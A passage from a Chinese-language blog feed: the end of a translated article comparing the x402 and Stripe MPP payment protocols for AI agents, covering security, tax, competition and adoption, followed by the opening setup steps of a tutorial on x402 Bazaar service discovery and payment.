id="%E8%87%AA%E4%B8%BB%E4%BB%A3%E7%90%86%E6%94%AF%E4%BB%98%E7%9A%84%E7%9C%9F%E6%AD%A3%E5%AE%89%E5%85%A8%E9%A3%8E%E9%99%A9%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F">&#x81EA;&#x4E3B;&#x4EE3;&#x7406;&#x652F;&#x4ED8;&#x7684;&#x771F;&#x6B63;&#x5B89;&#x5168;&#x98CE;&#x9669;&#x662F;&#x4EC0;&#x4E48;&#xFF1F;</h4><p>&#x6838;&#x5FC3;&#x98CE;&#x9669;&#x662F;&#x62E5;&#x6709;&#x94B1;&#x5305;&#x8BBF;&#x95EE;&#x6743;&#x9650;&#x7684;&#x4EE3;&#x7406;&#x53EF;&#x4EE5;&#x4EE5;&#x673A;&#x5668;&#x901F;&#x5EA6;&#x82B1;&#x94B1;&#xFF0C;&#x5305;&#x62EC;&#x5728;&#x6076;&#x610F;&#x6216;&#x5B9A;&#x4EF7;&#x8FC7;&#x9AD8;&#x7684;&#x7AEF;&#x70B9;&#x4E0A;&#x3002;&#x5BF9;&#x4E8E; x402&#xFF1A;V2 &#x7684;&#x52A8;&#x6001;&#x8DEF;&#x7531;&#x610F;&#x5473;&#x7740;&#x670D;&#x52A1;&#x5668;&#x544A;&#x8BC9;&#x4F60;&#x7684;&#x4EE3;&#x7406;&#x628A;&#x94B1;&#x53D1;&#x5230;&#x54EA;&#x91CC;&#xFF0C;&#x5982;&#x679C;&#x4F60;&#x4E0D;&#x9A8C;&#x8BC1;&#x5730;&#x5740;&#xFF0C;&#x5C31;&#x53EF;&#x80FD;&#x5BFC;&#x81F4;&#x6536;&#x6B3E;&#x65B9;&#x88AB;&#x7BE1;&#x6539;&#x3002;&#x57FA;&#x4E8E;&#x4F1A;&#x8BDD;&#x7684;&#x8EAB;&#x4EFD;&#x53EF;&#x80FD;&#x88AB;&#x52AB;&#x6301;&#x3002;&#x6A21;&#x5757;&#x5316; SDK &#x901A;&#x8FC7;&#x7B2C;&#x4E09;&#x65B9;&#x63D2;&#x4EF6;&#x5F15;&#x5165;&#x4F9B;&#x5E94;&#x94FE;&#x98CE;&#x9669;&#x3002;&#x751F;&#x4EA7;&#x90E8;&#x7F72;&#x9700;&#x8981;&#x6536;&#x6B3E;&#x65B9;&#x767D;&#x540D;&#x5355;&#x3001;&#x6BCF;&#x4E2A;&#x4F1A;&#x8BDD;&#x548C;&#x6BCF;&#x4E2A;&#x4EE3;&#x7406;&#x7684;&#x9884;&#x7B97;&#x4E0A;&#x9650;&#x3001;&#x901F;&#x7387;&#x9650;&#x5236;&#x3001;&#x94FE;&#x9A8C;&#x8BC1;&#xFF08;&#x9632;&#x6B62; Gas &#x8D39;&#x64CD;&#x7EB5;&#xFF09;&#x4EE5;&#x53CA;&#x5F02;&#x5E38;&#x652F;&#x51FA;&#x6A21;&#x5F0F;&#x7684;&#x76D1;&#x63A7;&#x3002;MPP &#x7684;&#x4F1A;&#x8BDD;&#x6A21;&#x578B;&#x901A;&#x8FC7;&#x8BBE;&#x8BA1;&#x7F13;&#x89E3;&#x4E86;&#x5176;&#x4E2D;&#x4E00;&#x4E9B;&#x95EE;&#x9898;&#xFF08;&#x5185;&#x7F6E;&#x6D88;&#x8D39;&#x9650;&#x989D;&#x3001;Stripe Radar&#xFF09;&#xFF0C;&#x4F46;&#x5F15;&#x5165;&#x4E86;&#x5BF9; Tempo &#x548C; Stripe &#x4F5C;&#x4E3A;&#x4E2D;&#x4ECB;&#x7684;&#x4FE1;&#x4EFB;&#x4F9D;&#x8D56;&#x3002;</p><h4 id="%E7%9B%91%E7%AE%A1%E5%92%8C%E7%A8%8E%E5%8A%A1%E5%BD%B1%E5%93%8D%E5%91%A2%EF%BC%9F">&#x76D1;&#x7BA1;&#x548C;&#x7A0E;&#x52A1;&#x5F71;&#x54CD;&#x5462;&#xFF1F;</h4><p>x402 &#x652F;&#x4ED8;&#x4EE5; USDC &#x7ED3;&#x7B97;&#xFF0C;&#x8FD9;&#x610F;&#x5473;&#x7740;&#x4F60;&#x6536;&#x5230;&#x7684;&#x662F;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x3002;&#x6839;&#x636E;&#x4F60;&#x6240;&#x5728;&#x7684;&#x53F8;&#x6CD5;&#x7BA1;&#x8F96;&#x533A;&#xFF0C;&#x8FD9;&#x5177;&#x6709;&#x7A0E;&#x52A1;&#x62A5;&#x544A;&#x5F71;&#x54CD;&#xFF08;&#x8D44;&#x672C;&#x5229;&#x5F97;&#x5904;&#x7406;&#x3001;&#x6536;&#x5165;&#x786E;&#x8BA4;&#x3001;&#x62A5;&#x544A;&#x9608;&#x503C;&#xFF09;&#x3002;&#x5982;&#x679C;&#x9002;&#x7528;&#xFF0C;&#x4F60;&#x8FD8;&#x9700;&#x8981;&#x81EA;&#x884C;&#x8D1F;&#x8D23; KYC/AML &#x5408;&#x89C4;&#x3002;x402 &#x76EE;&#x524D;&#x8FD8;&#x6CA1;&#x6709; IETF RFC&#xFF0C;&#x8FD9;&#x610F;&#x5473;&#x7740;&#x591A;&#x4E2A;&#x5B9E;&#x73B0;&#x53EF;&#x80FD;&#x4F1A;&#x788E;&#x7247;&#x5316;&#x3002;MPP &#x901A;&#x8FC7; Stripe &#x7ED3;&#x7B97;&#xFF0C;&#x540E;&#x8005;&#x81EA;&#x52A8;&#x5904;&#x7406;&#x7A0E;&#x52A1;&#x3001;&#x5408;&#x89C4;&#x548C;&#x62A5;&#x544A;&#x3002;&#x5982;&#x679C;&#x4F60;&#x5904;&#x4E8E;&#x53D7;&#x76D1;&#x7BA1;&#x7684;&#x884C;&#x4E1A;&#xFF0C;MPP &#x5728;&#x6CA1;&#x6709;&#x539F;&#x59CB; x402 &#x5408;&#x89C4;&#x8D1F;&#x62C5;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#x4E3A;&#x4F60;&#x63D0;&#x4F9B;&#x4E86;&#x5FAE;&#x652F;&#x4ED8;&#x80FD;&#x529B;&#x3002;</p><h4 id="x402-%E5%8F%AA%E9%80%82%E7%94%A8%E4%BA%8E%E5%8A%A0%E5%AF%86%E5%8E%9F%E7%94%9F%E5%9B%A2%E9%98%9F%E5%90%97%EF%BC%9F">x402 &#x53EA;&#x9002;&#x7528;&#x4E8E;&#x52A0;&#x5BC6;&#x539F;&#x751F;&#x56E2;&#x961F;&#x5417;&#xFF1F;</h4><p>&#x8D8A;&#x6765;&#x8D8A;&#x4E0D;&#x662F;&#x4E86;&#x3002;&#x534F;&#x8BAE;&#x672C;&#x8EAB;&#x4E0E;&#x652F;&#x4ED8;&#x7F51;&#x7EDC;&#x65E0;&#x5173;&#xFF0C;&#x8BBE;&#x8BA1;&#x4E0A;&#x5C06;&#x5728;&#x672A;&#x6765;&#x652F;&#x6301;&#x975E;&#x52A0;&#x5BC6;&#x652F;&#x4ED8;&#x65B9;&#x5F0F;&#x3002;&#x4F46;&#x4ECA;&#x5929;&#xFF0C;&#x751F;&#x4EA7;&#x5B9E;&#x73B0;&#x5728; Base &#x6216; Solana &#x4E0A;&#x7684; USDC &#x4E2D;&#x7ED3;&#x7B97;&#x3002;Coinbase &#x7B49;&#x516C;&#x53F8;&#x7684;&#x6258;&#x7BA1;&#x94B1;&#x5305;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#x6B63;&#x5728;&#x964D;&#x4F4E;&#x52A0;&#x5BC6;&#x77E5;&#x8BC6;&#x95E8;&#x69DB;&#xFF0C;Stripe &#x81EA;&#x5DF1;&#x7684; x402 &#x9884;&#x89C8;&#x610F;&#x5473;&#x7740;&#x4F60;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x719F;&#x6089;&#x7684; Stripe &#x5DE5;&#x5177;&#x63A5;&#x53D7; x402 &#x652F;&#x4ED8;&#x3002;&#x8BDD;&#x867D;&#x5982;&#x6B64;&#xFF0C;&#x5982;&#x679C;&#x4F60;&#x7684;&#x56E2;&#x961F;&#x5B8C;&#x5168;&#x6CA1;&#x6709;&#x52A0;&#x5BC6;&#x7ECF;&#x9A8C;&#xFF0C;&#x9884;&#x8BA1;&#x5728;&#x94B1;&#x5305;&#x7BA1;&#x7406;&#x3001;&#x5BC6;&#x94A5;&#x5B89;&#x5168;&#x548C;&#x94FE;&#x4E0A;&#x76D1;&#x63A7;&#x65B9;&#x9762;&#x4F1A;&#x6709;&#x5B66;&#x4E60;&#x66F2;&#x7EBF;&#x3002;MPP &#x53EF;&#x80FD;&#x662F;&#x66F4;&#x5BB9;&#x6613;&#x7684;&#x5165;&#x95E8;&#x8DEF;&#x5F84;&#xFF0C;&#x56E0;&#x4E3A;&#x5B83;&#x5C06;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x5305;&#x88C5;&#x5728; Stripe &#x719F;&#x6089;&#x7684;&#x754C;&#x9762;&#x4E2D;&#x3002;</p><h4 id="x402-%E5%92%8C-mpp-%E4%B9%8B%E5%A4%96%E7%9A%84%E7%AB%9E%E4%BA%89%E6%A0%BC%E5%B1%80%E5%A6%82%E4%BD%95%EF%BC%9F">x402 &#x548C; MPP &#x4E4B;&#x5916;&#x7684;&#x7ADE;&#x4E89;&#x683C;&#x5C40;&#x5982;&#x4F55;&#xFF1F;</h4><p>Google &#x7684; AP2&#xFF08;Agents Payment Protocol&#xFF09;&#x4F7F;&#x7528;&#x57FA;&#x4E8E;&#x6388;&#x6743;&#x7684;&#x7CFB;&#x7EDF;&#xFF0C;&#x7528;&#x6237;&#x4EE5;&#x7EC6;&#x7C92;&#x5EA6;&#x63A7;&#x5236;&#x59D4;&#x6D3E;&#x6D88;&#x8D39;&#x6743;&#x9650;&#x3002;Visa &#x548C; Mastercard &#x6B63;&#x5728;&#x5F00;&#x53D1;&#x81EA;&#x5DF1;&#x7684;&#x4EE3;&#x7406;&#x652F;&#x4ED8;&#x6807;&#x51C6;&#xFF0C;&#x5E76;&#x8BA1;&#x5212;&#x4F7F;&#x5176;&#x6210;&#x4E3A; AI &#x4EE3;&#x7406;&#x4EA4;&#x6613;&#x7684;&#x5F3A;&#x5236;&#x8981;&#x6C42;&#x3002;&#x5B66;&#x672F;&#x7814;&#x7A76;&#xFF08;&#x4F8B;&#x5982; 2026 &#x5E74; 3 &#x6708;&#x7684; A402 &#x8BBA;&#x6587;&#xFF09;&#x6B63;&#x5728;&#x63D0;&#x51FA;&#x66F4;&#x590D;&#x6742;&#x7684;&#x57FA;&#x4E8E;&#x901A;&#x9053;&#x7684;&#x534F;&#x8BAE;&#xFF0C;&#x4EE5;&#x89E3;&#x51B3; x402 &#x7684;&#x539F;&#x5B50;&#x6027;&#x9650;&#x5236;&#x3002;&#x8BE5;&#x9886;&#x57DF;&#x4ECD;&#x5904;&#x4E8E;&#x65E9;&#x671F;&#x548C;&#x788E;&#x7247;&#x5316;&#x9636;&#x6BB5;&#xFF1B;&#x9884;&#x8BA1;&#x4F1A;&#x6709;&#x6574;&#x5408;&#xFF0C;&#x4F46;&#x4E5F;&#x9884;&#x8BA1; x402 &#x7684;&#x5F00;&#x653E;&#x6027;&#x548C; MPP &#x7684; Stripe &#x80CC;&#x4E66;&#x5C06;&#x4F7F;&#x4E24;&#x8005;&#x4FDD;&#x6301;&#x76F8;&#x5173;&#x6027;&#x3002;</p><h4 id="%E9%87%87%E7%94%A8%E7%A8%8B%E5%BA%A6%E6%9C%89%E5%A4%9A%E7%9C%9F%E5%AE%9E%EF%BC%9F%E6%88%91%E5%BA%94%E8%AF%A5%E7%AD%89%E5%BE%85%E5%90%97%EF%BC%9F">&#x91C7;&#x7528;&#x7A0B;&#x5EA6;&#x6709;&#x591A;&#x771F;&#x5B9E;&#xFF1F;&#x6211;&#x5E94;&#x8BE5;&#x7B49;&#x5F85;&#x5417;&#xFF1F;</h4><p>&#x4EA4;&#x6613;&#x91CF;&#x4ECD;&#x7136;&#x5F88;&#x5C0F;&#x3002;&#x622A;&#x81F3; 2026 &#x5E74; 3 &#x6708;&#x521D;&#xFF0C;x402 &#x7684;&#x65E5;&#x94FE;&#x4E0A;&#x6D3B;&#x52A8;&#x7EA6;&#x4E3A; 131,000 &#x7B14;&#x4EA4;&#x6613;&#xFF0C;&#x4EF7;&#x503C;&#x7EA6; $28,000&#xFF0C;&#x5176;&#x4E2D;&#x76F8;&#x5F53;&#x4E00;&#x90E8;&#x5206;&#x662F;&#x6D4B;&#x8BD5;&#x6D3B;&#x52A8;&#x3002;MPP &#x51E0;&#x5929;&#x524D;&#x521A;&#x53D1;&#x5E03;&#xFF1B;&#x73B0;&#x5728;&#x8FD8;&#x6CA1;&#x6709;&#x771F;&#x5B9E;&#x6570;&#x636E;&#x3002;&#x4F46;&#x57FA;&#x7840;&#x8BBE;&#x65BD;&#x6B63;&#x7531;&#x4E25;&#x8083;&#x7684;&#x53C2;&#x4E0E;&#x8005;&#x94FA;&#x8BBE;&#xFF08;Coinbase&#x3001;Cloudflare&#x3001;Stripe&#x3001;Tempo&#x3001;Google&#x3001;Visa&#xFF09;&#x3002;&#x95EE;&#x9898;&#x4E0D;&#x5728;&#x4E8E;&#x4EE3;&#x7406;&#x652F;&#x4ED8;&#x662F;&#x5426;&#x4F1A;&#x53D8;&#x5F97;&#x91CD;&#x8981;&#xFF1B;&#x800C;&#x5728;&#x4E8E;&#x4F55;&#x65F6;&#x3002;&#x4ECE; x402 &#x5F00;&#x59CB;&#x6210;&#x672C;&#x4F4E;&#x3001;&#x627F;&#x8BFA;&#x5C11;&#xFF08;&#x51E0;&#x884C;&#x4EE3;&#x7801;&#x3001;&#x4E00;&#x4E2A;&#x94B1;&#x5305;&#x5730;&#x5740;&#xFF09;&#x3002;&#x4F60;&#x53EF;&#x4EE5;&#x968F;&#x7740;&#x9700;&#x6C42;&#x7684;&#x53D1;&#x5C55;&#x53E0;&#x52A0; MPP &#x6216;&#x4F20;&#x7EDF; Stripe&#x3002;&#x5F53;&#x4EE3;&#x7406;&#x5230;&#x6765;&#x65F6;&#x505A;&#x597D;&#x51C6;&#x5907;&#x51E0;&#x4E4E;&#x6CA1;&#x6709;&#x574F;&#x5904;&#x3002;</p><h2 id="7%E3%80%81%E7%BB%93%E6%9D%9F%E8%AF%AD">7&#x3001;&#x7ED3;&#x675F;&#x8BED;</h2><p>&#x622A;&#x81F3; 2026 &#x5E74; 3 &#x6708;&#xFF0C;&#x4EE3;&#x7406;&#x652F;&#x4ED8;&#x9886;&#x57DF;&#x6709;&#x4E24;&#x79CD;&#x4E13;&#x7528;&#x534F;&#x8BAE;&#x5728;&#x4E0D;&#x540C;&#x7684;&#x4F18;&#x52BF;&#x4E0A;&#x7ADE;&#x4E89;&#xFF1A;</p><ul><li><strong>x402</strong> &#x662F;&#x6700;&#x7B80;&#x5355;&#x3001;&#x6700;&#x5F00;&#x653E;&#x3001;&#x6700;&#x65E0;&#x8BB8;&#x53EF;&#x7684;&#x9009;&#x62E9;&#x3002;&#x9002;&#x7528;&#x4E8E;&#xFF1A;&#x6309;&#x8BF7;&#x6C42;&#x5FAE;&#x652F;&#x4ED8;&#x3001;&#x81EA;&#x4E3B;&#x4EE3;&#x7406;&#x8BBF;&#x95EE;&#x3001;&#x65E0;&#x4F9B;&#x5E94;&#x5546;&#x9501;&#x5B9A;&#x7684;&#x67B6;&#x6784;&#xFF0C;&#x4EE5;&#x53CA;&#x613F;&#x610F;&#x81EA;&#x884C;&#x7BA1;&#x7406;&#x5B89;&#x5168;&#x548C;&#x5408;&#x89C4;&#x7684;&#x56E2;&#x961F;&#x3002;</li><li><strong>Stripe MPP</strong> &#x662F;&#x5185;&#x7F6E;&#x4F01;&#x4E1A;&#x5408;&#x89C4;&#x7684;&#x9AD8;&#x541E;&#x5410;&#x91CF;&#x9009;&#x62E9;&#x3002;&#x9002;&#x7528;&#x4E8E;&#xFF1A;&#x9AD8;&#x9891;&#x4EE3;&#x7406;&#x4F1A;&#x8BDD;&#x3001;&#x6DF7;&#x5408;&#x6CD5;&#x5E01; + &#x52A0;&#x5BC6;&#x652F;&#x4ED8;&#xFF0C;&#x4EE5;&#x53CA;&#x5E0C;&#x671B;&#x83B7;&#x5F97; Stripe &#x7684;&#x6B3A;&#x8BC8;&#x68C0;&#x6D4B;&#x3001;&#x7A0E;&#x52A1;&#x5904;&#x7406;&#x548C;&#x62A5;&#x544A;&#x800C;&#x65E0;&#x9700;&#x81EA;&#x884C;&#x6784;&#x5EFA;&#x7684;&#x56E2;&#x961F;&#x3002;</li></ul><p>&#x8FD9;&#x4E24;&#x8005;&#x5E76;&#x4E0D;&#x4E92;&#x65A5;&#x3002;Stripe &#x901A;&#x8FC7;&#x4E0D;&#x540C;&#x7684;&#x96C6;&#x6210;&#x8DEF;&#x5F84;&#x652F;&#x6301;&#x4E24;&#x8005;&#xFF08;&#x52A0;&#x4E0A;&#x4F20;&#x7EDF;&#x8BA1;&#x8D39;&#xFF09;&#xFF0C;&#x7ED3;&#x7B97;&#x5230;&#x540C;&#x4E00;&#x4E2A;&#x4EEA;&#x8868;&#x76D8;&#x3002;&#x6700;&#x6709;&#x8FDC;&#x89C1;&#x7684;&#x56E2;&#x961F;&#x4F1A;&#x50CF;&#x5BF9;&#x5F85;&#x8BA1;&#x7B97;&#x57FA;&#x7840;&#x8BBE;&#x65BD;&#x4E00;&#x6837;&#x5BF9;&#x5F85;&#x652F;&#x4ED8;&#x534F;&#x8BAE;&#x9009;&#x62E9;&#xFF1A;&#x4E3A;&#x6BCF;&#x4E2A;&#x5DE5;&#x4F5C;&#x8D1F;&#x8F7D;&#x9009;&#x62E9;&#x5408;&#x9002;&#x7684;&#x5DE5;&#x5177;&#xFF0C;&#x5E76;&#x8BBE;&#x8BA1;&#x7CFB;&#x7EDF;&#x4EE5;&#x652F;&#x6301;&#x4E0D;&#x6B62;&#x4E00;&#x79CD;&#x3002;</p><p>&#x4EE3;&#x7406;&#x652F;&#x4ED8;&#x7684;&#x672A;&#x6765;&#x4E0D;&#x662F;&#x4E00;&#x4E2A;&#x534F;&#x8BAE;&#x7EDF;&#x6CBB;&#x4E00;&#x5207;&#x3002;&#x5B83;&#x662F;&#x4E00;&#x4E2A;&#x5206;&#x5C42;&#x6A21;&#x578B;&#xFF0C;&#x6700;&#x4F18;&#x79C0;&#x7684;&#x56E2;&#x961F;&#x4F1A;&#x50CF;&#x9009;&#x62E9;&#x6280;&#x672F;&#x6808;&#x4E2D;&#x7684;&#x5176;&#x4ED6;&#x4E00;&#x5207;&#x4E00;&#x6837;&#x614E;&#x91CD;&#x5730;&#x9009;&#x62E9;&#x652F;&#x4ED8;&#x57FA;&#x7840;&#x8BBE;&#x65BD;&#x3002;</p><hr><p>&#x539F;&#x6587;&#x94FE;&#x63A5;: <a href="https://workos.com/blog/x402-vs-stripe-mpp-how-to-choose-payment-infrastructure-for-ai-agents-and-mcp-tools-in-2026?ref=defiplot.com">x402 vs. Stripe MPP: How to choose payment infrastructure for AI agents and MCP tools in 2026</a></p><p>DefiPlot&#x7FFB;&#x8BD1;&#x6574;&#x7406;&#xFF0C;&#x8F6C;&#x8F7D;&#x8BF7;&#x6807;&#x660E;&#x51FA;&#x5904;</p>]]></content:encoded></item><item><title><![CDATA[x402集市：从服务发现到支付]]></title><description><![CDATA[一个实战演示：AI 代理发现 API、收到 402 响应、通过协调器支付、然后重试获取结果]]></description><link>https://defiplot.com/blog/x402-bazaar-from-service-discovery-to-payment/</link><guid isPermaLink="false">69e2614eec23a43b2add94b3</guid><category><![CDATA[tech]]></category><dc:creator><![CDATA[defiplot]]></dc:creator><pubDate>Fri, 17 Apr 2026 16:45:57 GMT</pubDate><media:content url="https://defiplot.com/blog/content/images/2026/04/x402-bazaar.png" medium="image"/><content:encoded><![CDATA[<img src="https://defiplot.com/blog/content/images/2026/04/x402-bazaar.png" alt="x402&#x96C6;&#x5E02;&#xFF1A;&#x4ECE;&#x670D;&#x52A1;&#x53D1;&#x73B0;&#x5230;&#x652F;&#x4ED8;"><p>&#x5927;&#x591A;&#x6570; API &#x5E02;&#x573A;&#x4ECD;&#x7136;&#x5047;&#x8BBE;&#x6709;&#x4EBA;&#x7C7B;&#x53C2;&#x4E0E;&#x5176;&#x4E2D;&#x2014;&#x2014;&#x521B;&#x5EFA;&#x8D26;&#x6237;&#x3001;&#x6DFB;&#x52A0;&#x94F6;&#x884C;&#x5361;&#x3001;&#x751F;&#x6210;&#x5BC6;&#x94A5;&#x3001;&#x7BA1;&#x7406;&#x7528;&#x91CF;&#x3002;&#x8FD9;&#x4E9B;&#x6469;&#x64E6;&#x662F;&#x4F60;&#x7684; <strong>AI &#x4EE3;&#x7406;</strong>&#x65E0;&#x6CD5;&#x5904;&#x7406;&#x7684;&#x3002;</p><p><strong>Bazaar + x402</strong> &#x98A0;&#x8986;&#x4E86;&#x8FD9;&#x79CD;&#x6A21;&#x5F0F;&#x3002;&#x4F60;&#x7684;&#x4EE3;&#x7406;&#x53EF;&#x4EE5;&#x53D1;&#x73B0;&#x670D;&#x52A1;&#x3001;<strong>&#x6536;&#x5230;&#x5E26;&#x6709;&#x652F;&#x4ED8;&#x8BE6;&#x60C5;&#x7684; HTTP 402&#xFF08;&#x9700;&#x8981;&#x4ED8;&#x8D39;&#xFF09;&#x54CD;&#x5E94;</strong>&#x3001;&#x8FDB;&#x884C;&#x652F;&#x4ED8;&#xFF08;&#x901A;&#x5E38;&#x4F7F;&#x7528; <strong>Base &#x4E0A;&#x7684; USDC</strong>&#xFF09;&#x3001;&#x643A;&#x5E26;&#x652F;&#x4ED8;&#x8BC1;&#x660E;&#x91CD;&#x8BD5;&#x76F8;&#x540C;&#x7684;&#x8BF7;&#x6C42;&#xFF0C;&#x7136;&#x540E; API &#x54CD;&#x5E94;&#x2014;&#x2014;<strong>&#x65E0;&#x9700;&#x8D26;&#x6237;&#xFF0C;&#x65E0;&#x9700;&#x8BA2;&#x9605;</strong>&#x3002;</p><p>&#x5728;&#x672C;&#x6587;&#x7ED3;&#x675F;&#x65F6;&#xFF0C;&#x4F60;&#x5C06;&#x62E5;&#x6709;&#x4E00;&#x4E2A;&#x53EF;&#x8FD0;&#x884C;&#x7684;&#x6F14;&#x793A;&#xFF0C;&#x5C55;&#x793A;&#x5B8C;&#x6574;&#x7684;&#x7AEF;&#x5230;&#x7AEF;&#x6D41;&#x7A0B;&#xFF1A;<strong>&#x5217;&#x8868; &#x2192; &#x53D1;&#x73B0; &#x2192; 402 &#x2192; &#x652F;&#x4ED8; &#x2192; &#x91CD;&#x8BD5; &#x2192; &#x4F7F;&#x7528;</strong>&#x3002;</p><h2 id="1%E3%80%81%E4%BD%A0%E5%B0%86%E6%9E%84%E5%BB%BA%E4%BB%80%E4%B9%88">1&#x3001;&#x4F60;&#x5C06;&#x6784;&#x5EFA;&#x4EC0;&#x4E48;</h2><ul><li>&#x1F9ED; &#x53D1;&#x5E03;&#x4E00;&#x4E2A;&#x6700;&#x5C0F;&#x7684; <strong>Bazaar</strong> &#x98CE;&#x683C;&#x7684;&#x5217;&#x8868;&#xFF0C;&#x8BA9;&#x4F60;&#x7684;&#x4EE3;&#x7406;&#x53EF;&#x4EE5;&#x53D1;&#x73B0;</li><li>&#x1F4B3; &#x6A21;&#x62DF; <strong>x402</strong> &#x652F;&#x4ED8;&#x6D41;&#x7A0B;&#xFF08;HTTP 402 &#x2192; &#x534F;&#x8C03;&#x5668;&#x7ED3;&#x7B97; &#x2192; &#x652F;&#x4ED8;&#x8BC1;&#x660E;&#xFF09;</li><li>&#x1F501; &#x643A;&#x5E26;&#x652F;&#x4ED8;&#x8BC1;&#x660E;&#x91CD;&#x8BD5;&#x76F8;&#x540C;&#x7684;&#x8BF7;&#x6C42;&#xFF0C;&#x83B7;&#x53D6; <strong>&#x4ED8;&#x8D39;</strong> &#x54CD;&#x5E94;</li><li>&#x1F9EA; &#x6240;&#x6709;&#x64CD;&#x4F5C;&#x5728;&#x4E00;&#x4E2A;&#x53EF;&#x5728;&#x672C;&#x5730;&#x8FD0;&#x884C;&#x7684; <strong>Node.js &#x811A;&#x672C;</strong>&#x4E2D;&#x5B8C;&#x6210;</li></ul><h2 id="2%E3%80%81%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84">2&#x3001;&#x7CFB;&#x7EDF;&#x67B6;&#x6784;</h2><pre><code>Agent (buyer) &#x2500;&#x2500;&gt; Bazaar catalog &#x2500;&#x2500;&gt; Service endpoint
    &#x2502;                                   &#x2502;
    &#x2502; (Request)                          &#x2502; If unpaid:
    &#x2502;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&gt; &#x2502;  returns HTTP 402 + payment details
    &#x2502;                                    &#x2502;
    &#x2502; --pay via Facilitator------------&gt; Facilitator (verifies/settles, returns proof)
    &#x2502;                                    &#x2502;
    &#x2502; (Retry + proof header)            &#x2502;
    &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&gt; &#x2502; Returns the result
</code></pre><p><strong>&#x7EC4;&#x4EF6;&#xFF08;&#x5FEB;&#x901F;&#x6982;&#x89C8;&#xFF09;</strong></p><ul><li><strong>Bazaar</strong>&#xFF1A;&#x7B80;&#x5355;&#x7684;&#x53D1;&#x73B0;&#x5C42;&#xFF0C;&#x8FD4;&#x56DE;&#x5305;&#x542B;&#x540D;&#x79F0;&#x3001;&#x4EF7;&#x683C;&#x3001;&#x8D44;&#x4EA7;&#x3001;&#x7F51;&#x7EDC;&#x7684;&#x5217;&#x8868;&#x4FE1;&#x606F;&#x3002;</li><li><strong>Service&#xFF08;&#x670D;&#x52A1;&#xFF09;</strong>&#xFF1A;&#x4F60;&#x7684; API &#x7AEF;&#x70B9;&#xFF0C;<em>&#x8981;&#x6C42;&#x6309;&#x8BF7;&#x6C42;&#x4ED8;&#x8D39;</em>&#x3002;&#x5982;&#x679C;&#x672A;&#x652F;&#x4ED8;&#xFF0C;&#x5B83;&#x4F1A;&#x8FD4;&#x56DE; <strong>HTTP 402</strong> &#x548C;&#x652F;&#x4ED8;&#x8BE6;&#x60C5;&#x3002;</li><li><strong>x402 Facilitator&#xFF08;&#x534F;&#x8C03;&#x5668;&#xFF09;</strong>&#xFF1A;&#x9A8C;&#x8BC1;/&#x7ED3;&#x7B97;&#x5BA2;&#x6237;&#x7AEF;&#x7684;&#x652F;&#x4ED8;&#xFF0C;&#x5E76;&#x9881;&#x53D1;&#x4F60;&#x7684;&#x670D;&#x52A1;&#x53EF;&#x4EE5;&#x4FE1;&#x4EFB;&#x7684;<strong>&#x652F;&#x4ED8;&#x8BC1;&#x660E;</strong>&#x3002;</li><li><strong>Agent&#xFF08;&#x4EE3;&#x7406;&#xFF09;</strong>&#xFF1A;&#x4E00;&#x4E2A;&#x7CBE;&#x7B80;&#x7684;&#x4E70;&#x65B9;&#x811A;&#x672C;&#xFF0C;&#x8D1F;&#x8D23;&#x53D1;&#x73B0;&#x670D;&#x52A1;&#x3001;&#x8C03;&#x7528;&#x670D;&#x52A1;&#x3001;&#x5904;&#x7406; 402&#x3001;&#x901A;&#x8FC7;&#x534F;&#x8C03;&#x5668;&#x652F;&#x4ED8;&#x3001;&#x643A;&#x5E26;&#x8BC1;&#x660E;&#x91CD;&#x8BD5;&#x5E76;&#x6253;&#x5370;&#x7ED3;&#x679C;&#x3002;</li></ul><h2 id="3%E3%80%81%E5%AE%9E%E7%8E%B0%E9%98%B6%E6%AE%B5">3&#x3001;&#x5B9E;&#x73B0;&#x9636;&#x6BB5;</h2><p>&#x4EE3;&#x7801;&#x5C06;&#x5206;&#x4E3A;&#x4E24;&#x90E8;&#x5206;&#xFF1A;<strong>&#x5356;&#x65B9;</strong>&#x548C;<strong>&#x4E70;&#x65B9;</strong>&#x3002;</p><h3 id="31-%E9%A1%B9%E7%9B%AE%E8%AE%BE%E7%BD%AE">3.1 &#x9879;&#x76EE;&#x8BBE;&#x7F6E;</h3><pre><code>mkdir x402-baazar
cd x402-baazar

npm init -y
</code></pre><h3 id="32-%E5%AE%89%E8%A3%85%E4%BE%9D%E8%B5%96">3.2 &#x5B89;&#x88C5;&#x4F9D;&#x8D56;</h3><pre><code>npm i @coinbase/cdp-sdk @coinbase/x402 dotenv express viem x402-express x402-fetch
